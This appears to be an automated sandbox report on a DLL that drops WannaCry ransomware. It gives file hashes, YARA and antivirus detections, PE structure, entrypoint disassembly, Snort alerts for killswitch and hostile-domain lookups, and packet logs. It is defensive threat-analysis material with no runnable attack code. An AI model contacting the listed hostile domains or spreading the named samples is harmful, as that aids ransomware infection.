                                                                                                                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                              File Type:data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):16384
                                                                                                                                                              Entropy (8bit):0.07650143450879462
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:3:A3WtJ7vGjPg+ASHiYuxGCyqll3Vkttlmlnl:A3yJrGjf3iVGde3
                                                                                                                                                              MD5:66AA9E9EA421DDE4BB2D0107EF873781
                                                                                                                                                              SHA1:E1C6C444E72514D700C1584D741476E95BD80215
                                                                                                                                                              SHA-256:5077DD4CBA069B7C42017E38D6ABFBB018225D449E0E20FE5F05EAA1864CA765
                                                                                                                                                              SHA-512:71B9B923054D40D92B6FEBC2C988FCA4D9E4B5E29CEF211EC13BEC3914745CF1F96A504DBFD512BA6CCF61A5B7A3D6330464B97B6AE59E9E3E63FB0EF872829F
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:(.g......................................3...w..#....z..-....z=.........-....z=.-....z=..k.)-....z.{................SO..-....z=.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                              C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                              File Type:ASCII text, with no line terminators
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):55
                                                                                                                                                              Entropy (8bit):4.306461250274409
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                                                                              MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                                                                              SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                                                                              SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                                                                              SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                                                                                              C:\Windows\mssecsvc.exe

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):3751936
                                                                                                                                                              Entropy (8bit):7.965274478229227
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:98304:IDqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2H:IDqPe1Cxcxk3ZAEUadzR8yc4H
                                                                                                                                                              MD5:D67ED037DC59A12F853AD3E2022B8AAE
                                                                                                                                                              SHA1:EF95FD53062CA7288053029903E4E20C4FD87F22
                                                                                                                                                              SHA-256:6A6F35646216BCAA415983F3E5AB4196E72DA131BB70AF2EF6191D63F938DCAB
                                                                                                                                                              SHA-512:3441E18099AF9CB9612783C125B9BF65786C15B9928C2F128CC2B66100C68AFD05E87194D5D36248001845CFAEE7BD67DD9C2A4F3595044C96661D8847211497
                                                                                                                                                              Malicious:true
                                                                                                                                                              Yara Hits:
                                                                                                                                                              • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                                                                                              • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                                                                                                                                                              Antivirus:
                                                                                                                                                              • Antivirus: Avira, Detection: 100%
                                                                                                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L......C.....................08.....$.g...........@..........................0g......................................................1.. 6..........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc.... 6...1.. 6.. ..............`...fhrpkmx...... g......@9.................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                              C:\Windows\tasksche.exe

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\mssecsvc.exe
                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):3514368
                                                                                                                                                              Entropy (8bit):7.996072890929898
                                                                                                                                                              Encrypted:true
                                                                                                                                                              SSDEEP:98304:QqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2Hj:QqPe1Cxcxk3ZAEUadzR8yc4Hj
                                                                                                                                                              MD5:7F7CCAA16FB15EB1C7399D422F8363E8
                                                                                                                                                              SHA1:BD44D0AB543BF814D93B719C24E90D8DD7111234
                                                                                                                                                              SHA-256:2584E1521065E45EC3C17767C065429038FC6291C091097EA8B22C8A502C41DD
                                                                                                                                                              SHA-512:83E334B80DE08903CFA9891A3FA349C1ECE7E19F8E62B74A017512FA9A7989A0FD31929BF1FC13847BEE04F2DA3DACF6BC3F5EE58F0E4B9D495F4B9AF12ED2B7
                                                                                                                                                              Malicious:true
                                                                                                                                                              Yara Hits:
                                                                                                                                                              • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                                                                                                                                                              Antivirus:
                                                                                                                                                              • Antivirus: Avira, Detection: 100%
                                                                                                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                              • Antivirus: Metadefender, Detection: 89%, Browse
                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 98%
                                                                                                                                                              Joe Sandbox View:
                                                                                                                                                              • Filename: MSmReFKunQ.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: kXpnLUmuU2.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: TigrxMihsc.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: iTQzi9bir4.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: 5nuyzrvshp.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: JJuyd5UnAs.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: OiE7MtX6tI.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: FFrKRs5Q7y.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: rQJydZ0McE.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: svRn7r2Rty.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: O9KOr4E9LK.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: rvmsgjuGfo.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: ovoq6aoWTi.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: fxyKXb2hV5.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: YsoENGep0M.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: oap4r2jjhD.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: 11HRaPgStk.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: yP3DHwa4lC.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: rf8Mq00YCl.dll, Detection: malicious, Browse
                                                                                                                                                              • Filename: mssecsvc.exe, Detection: malicious, Browse
                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:..T...T...T..X...T.._...T.'.Z...T..^...T..P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L...A..L.................p... 5......w............@...........................5.................................................d.........4..........................................................................................................text....i.......p.................. ..`.rdata..p_.......`..................@..@.data...X........ ..................@....rsrc.....4.......4.................@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                              Static File Info

                                                                                                                                                              General

                                                                                                                                                              File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                              Entropy (8bit):6.447672276506254
                                                                                                                                                              TrID:
                                                                                                                                                              • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                                                                                                                                                              • Generic Win/DOS Executable (2004/3) 0.20%
                                                                                                                                                              • DOS Executable Generic (2002/1) 0.20%
                                                                                                                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                              File name:7Qu8thR7WW.dll
                                                                                                                                                              File size:5267459
                                                                                                                                                              MD5:2de468a78a23789fd3ae2715b08b919a
                                                                                                                                                              SHA1:b552f34a006c309706ea1d4294f7e75a078beda3
                                                                                                                                                              SHA256:6448d228f342fb138a747f8fa317b004553f36f83fdd1b200baf80b7b9d9f5da
                                                                                                                                                              SHA512:83a622c6b4c59becffa9d3306e0a24db9e840f316a4f16ceac6f2294706a987f9fd48d1827560252134e6017f81269eedc2219624e4feb50688053d0e711c529
                                                                                                                                                              SSDEEP:98304:9DqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2H:9DqPe1Cxcxk3ZAEUadzR8yc4H
                                                                                                                                                              TLSH:61363394626CB1BCF0440EB44473896BB7B33C69A7BA5F1F9BC086670D43B5BABD0641
                                                                                                                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

                                                                                                                                                              File Icon

                                                                                                                                                              Icon Hash:74f0e4ecccdce0e4

                                                                                                                                                              Static PE Info

                                                                                                                                                              General

                                                                                                                                                              Entrypoint:0x100011e9
                                                                                                                                                              Entrypoint Section:.text
                                                                                                                                                              Digitally signed:false
                                                                                                                                                              Imagebase:0x10000000
                                                                                                                                                              Subsystem:windows gui
                                                                                                                                                              Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
                                                                                                                                                              DLL Characteristics:
                                                                                                                                                              Time Stamp:0x59145751 [Thu May 11 12:21:37 2017 UTC]
                                                                                                                                                              TLS Callbacks:
                                                                                                                                                              CLR (.Net) Version:
                                                                                                                                                              OS Version Major:4
                                                                                                                                                              OS Version Minor:0
                                                                                                                                                              File Version Major:4
                                                                                                                                                              File Version Minor:0
                                                                                                                                                              Subsystem Version Major:4
                                                                                                                                                              Subsystem Version Minor:0
                                                                                                                                                              Import Hash:2e5708ae5fed0403e8117c645fb23e5b

                                                                                                                                                              Entrypoint Preview

                                                                                                                                                              Instruction
                                                                                                                                                              push ebp
                                                                                                                                                              mov ebp, esp
                                                                                                                                                              push ebx
                                                                                                                                                              mov ebx, dword ptr [ebp+08h]
                                                                                                                                                              push esi
                                                                                                                                                              mov esi, dword ptr [ebp+0Ch]
                                                                                                                                                              push edi
                                                                                                                                                              mov edi, dword ptr [ebp+10h]
                                                                                                                                                              test esi, esi
                                                                                                                                                              jne 00007EFF2CB76D5Bh
                                                                                                                                                              cmp dword ptr [10003140h], 00000000h
                                                                                                                                                              jmp 00007EFF2CB76D78h
                                                                                                                                                              cmp esi, 01h
                                                                                                                                                              je 00007EFF2CB76D57h
                                                                                                                                                              cmp esi, 02h
                                                                                                                                                              jne 00007EFF2CB76D74h
                                                                                                                                                              mov eax, dword ptr [10003150h]
                                                                                                                                                              test eax, eax
                                                                                                                                                              je 00007EFF2CB76D5Bh
                                                                                                                                                              push edi
                                                                                                                                                              push esi
                                                                                                                                                              push ebx
                                                                                                                                                              call eax
                                                                                                                                                              test eax, eax
                                                                                                                                                              je 00007EFF2CB76D5Eh
                                                                                                                                                              push edi
                                                                                                                                                              push esi
                                                                                                                                                              push ebx
                                                                                                                                                              call 00007EFF2CB76C6Ah
                                                                                                                                                              test eax, eax
                                                                                                                                                              jne 00007EFF2CB76D56h
                                                                                                                                                              xor eax, eax
                                                                                                                                                              jmp 00007EFF2CB76DA0h
                                                                                                                                                              push edi
                                                                                                                                                              push esi
                                                                                                                                                              push ebx
                                                                                                                                                              call 00007EFF2CB76B1Ch
                                                                                                                                                              cmp esi, 01h
                                                                                                                                                              mov dword ptr [ebp+0Ch], eax
                                                                                                                                                              jne 00007EFF2CB76D5Eh
                                                                                                                                                              test eax, eax
                                                                                                                                                              jne 00007EFF2CB76D89h
                                                                                                                                                              push edi
                                                                                                                                                              push eax
                                                                                                                                                              push ebx
                                                                                                                                                              call 00007EFF2CB76C46h
                                                                                                                                                              test esi, esi
                                                                                                                                                              je 00007EFF2CB76D57h
                                                                                                                                                              cmp esi, 03h
                                                                                                                                                              jne 00007EFF2CB76D78h
                                                                                                                                                              push edi
                                                                                                                                                              push esi
                                                                                                                                                              push ebx
                                                                                                                                                              call 00007EFF2CB76C35h
                                                                                                                                                              test eax, eax
                                                                                                                                                              jne 00007EFF2CB76D55h
                                                                                                                                                              and dword ptr [ebp+0Ch], eax
                                                                                                                                                              cmp dword ptr [ebp+0Ch], 00000000h
                                                                                                                                                              je 00007EFF2CB76D63h
                                                                                                                                                              mov eax, dword ptr [10003150h]
                                                                                                                                                              test eax, eax
                                                                                                                                                              je 00007EFF2CB76D5Ah
                                                                                                                                                              push edi
                                                                                                                                                              push esi
                                                                                                                                                              push ebx
                                                                                                                                                              call eax
                                                                                                                                                              mov dword ptr [ebp+0Ch], eax
                                                                                                                                                              mov eax, dword ptr [ebp+0Ch]
                                                                                                                                                              pop edi
                                                                                                                                                              pop esi
                                                                                                                                                              pop ebx
                                                                                                                                                              pop ebp
                                                                                                                                                              retn 000Ch
                                                                                                                                                              jmp dword ptr [10002028h]
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al
                                                                                                                                                              add byte ptr [eax], al

                                                                                                                                                              Rich Headers

                                                                                                                                                              Programming Language:
                                                                                                                                                              • [ C ] VS98 (6.0) build 8168
                                                                                                                                                              • [C++] VS98 (6.0) build 8168
                                                                                                                                                              • [RES] VS98 (6.0) cvtres build 1720
                                                                                                                                                              • [LNK] VS98 (6.0) imp/exp build 8168

                                                                                                                                                              Data Directories

                                                                                                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x21900x48.rdata
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x203c0x3c.rdata
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x40000x500060.rsrc
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x5050000x5c.reloc
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IAT0x20000x3c.rdata
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                              Sections

                                                                                                                                                              NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                              .text0x10000x28c0x1000False0.13037109375data1.4429971244731552IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                              .rdata0x20000x1d80x1000False0.072509765625data0.7346018133622799IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                              .data0x30000x1540x1000False0.016845703125data0.085238686413312IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                              .rsrc0x40000x5000600x501000unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                              .reloc0x5050000x2ac0x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                              Resources

                                                                                                                                                              NameRVASizeTypeLanguageCountry
                                                                                                                                                              W0x40600x500000dataEnglishUnited States

                                                                                                                                                              Imports

                                                                                                                                                              DLLImport
                                                                                                                                                              KERNEL32.dllCloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
                                                                                                                                                              MSVCRT.dllfree, _initterm, malloc, _adjust_fdiv, sprintf

                                                                                                                                                              Exports

                                                                                                                                                              NameOrdinalAddress
                                                                                                                                                              PlayGame10x10001114

                                                                                                                                                              Possible Origin

                                                                                                                                                              Language of compilation systemCountry where language is spokenMap
                                                                                                                                                              EnglishUnited States

                                                                                                                                                              Network Behavior

                                                                                                                                                              Snort IDS Alerts

                                                                                                                                                              TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                                                                                              192.168.2.38.8.8.863863532024281 07/21/22-07:29:57.011921UDP2024281ET TROJAN Known Hostile Domain ant.trenz .pl Lookup6386353192.168.2.38.8.8.8
                                                                                                                                                              104.17.244.81192.168.2.380498472031515 07/21/22-07:28:17.346258TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049847104.17.244.81192.168.2.3
                                                                                                                                                              8.8.8.8192.168.2.353518932811577 07/21/22-07:30:17.863944UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53518938.8.8.8192.168.2.3
                                                                                                                                                              192.168.2.38.8.8.849316532024291 07/21/22-07:26:23.728657UDP2024291ET TROJAN Possible WannaCry DNS Lookup 14931653192.168.2.38.8.8.8
                                                                                                                                                              8.8.8.8192.168.2.353500622811577 07/21/22-07:29:56.715628UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53500628.8.8.8192.168.2.3
                                                                                                                                                              104.17.244.81192.168.2.380497432031515 07/21/22-07:26:23.850764TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049743104.17.244.81192.168.2.3
                                                                                                                                                              192.168.2.3104.17.244.8149743802024298 07/21/22-07:26:23.816493TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14974380192.168.2.3104.17.244.81
                                                                                                                                                              192.168.2.3104.17.244.8149847802024298 07/21/22-07:28:17.315940TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14984780192.168.2.3104.17.244.81
                                                                                                                                                              192.168.2.38.8.8.864452532012730 07/21/22-07:27:52.522217UDP2012730ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup6445253192.168.2.38.8.8.8
                                                                                                                                                              192.168.2.38.8.8.861877532024281 07/21/22-07:28:23.789188UDP2024281ET TROJAN Known Hostile Domain ant.trenz .pl Lookup6187753192.168.2.38.8.8.8
                                                                                                                                                              8.8.8.8192.168.2.353542052811577 07/21/22-07:28:52.845311UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53542058.8.8.8192.168.2.3
                                                                                                                                                              8.8.8.8192.168.2.353550452811577 07/21/22-07:30:38.693217UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53550458.8.8.8192.168.2.3
                                                                                                                                                              192.168.2.38.8.8.854726532012730 07/21/22-07:29:25.799738UDP2012730ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup5472653192.168.2.38.8.8.8
                                                                                                                                                              192.168.2.38.8.8.864941532024291 07/21/22-07:28:17.184519UDP2024291ET TROJAN Possible WannaCry DNS Lookup 16494153192.168.2.38.8.8.8

                                                                                                                                                              Network Port Distribution

                                                                                                                                                              TCP Packets

                                                                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                              Jul 21, 2022 07:26:23.776379108 CEST4974380192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:26:23.792994976 CEST8049743104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:26:23.797713041 CEST4974380192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:26:23.816493034 CEST4974380192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:26:23.833437920 CEST8049743104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:26:23.850764036 CEST8049743104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:26:23.850792885 CEST8049743104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:26:23.850925922 CEST4974380192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:26:23.851170063 CEST4974380192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:26:23.867712975 CEST8049743104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:17.293343067 CEST4984780192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:28:17.309853077 CEST8049847104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:17.310600042 CEST4984780192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:28:17.315939903 CEST4984780192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:28:17.332442999 CEST8049847104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:17.346257925 CEST8049847104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:17.346427917 CEST4984780192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:28:17.346635103 CEST4984780192.168.2.3104.17.244.81
                                                                                                                                                              Jul 21, 2022 07:28:17.363095045 CEST8049847104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:17.572834015 CEST8049847104.17.244.81192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:17.572922945 CEST4984780192.168.2.3104.17.244.81

                                                                                                                                                              UDP Packets

                                                                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                              Jul 21, 2022 07:26:23.728657007 CEST4931653192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:26:23.750410080 CEST53493168.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:17.184519053 CEST6494153192.168.2.38.8.8.8
                                                                                                                                                              Jul 21, 2022 07:28:17.204521894 CEST53649418.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:52.645070076 CEST53646248.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:52.698692083 CEST53644128.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:52.736644030 CEST53517798.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:52.808298111 CEST53506088.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:52.845310926 CEST53542058.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:52.919753075 CEST53627568.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:52.956126928 CEST53584978.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:53.034773111 CEST53627018.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:53.069080114 CEST53535248.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:53.140916109 CEST53585618.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:53.171586037 CEST53615558.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:53.236452103 CEST53644338.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:53.284440994 CEST53625478.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:53.869064093 CEST53540968.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:53.913727045 CEST53578298.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:53.949793100 CEST53633268.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.030905962 CEST53601108.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.069905996 CEST53492308.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.143102884 CEST53574428.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.180135012 CEST53515578.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.250638008 CEST53653348.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.284820080 CEST53524878.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.434007883 CEST53519948.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.501992941 CEST53516588.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.585808992 CEST53589508.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.660676003 CEST53538838.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:54.819427967 CEST53590658.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:55.817634106 CEST53556868.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:55.959033966 CEST53645898.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:28:56.054667950 CEST53649348.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:16.207576036 CEST53646358.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:16.239826918 CEST53552698.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:36.313903093 CEST53583948.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:36.351494074 CEST53497758.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:36.387700081 CEST53601958.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:36.425302029 CEST53551978.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.504012108 CEST53588198.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.533699036 CEST53606978.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.656066895 CEST53519668.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.686167955 CEST53543068.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.715627909 CEST53500628.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.745950937 CEST53508698.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.775849104 CEST53497678.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.807594061 CEST53614818.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.840030909 CEST53503868.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.871444941 CEST53528578.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.907429934 CEST53529838.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:56.943423033 CEST53536548.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:57.053169966 CEST53578138.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:57.080406904 CEST53523728.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:57.110358953 CEST53566368.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:57.150734901 CEST53533848.8.8.8192.168.2.3
                                                                                                                                                              Jul 21, 2022 07:29:57.182341099 CEST53560498.8.8.8192.168.2.3
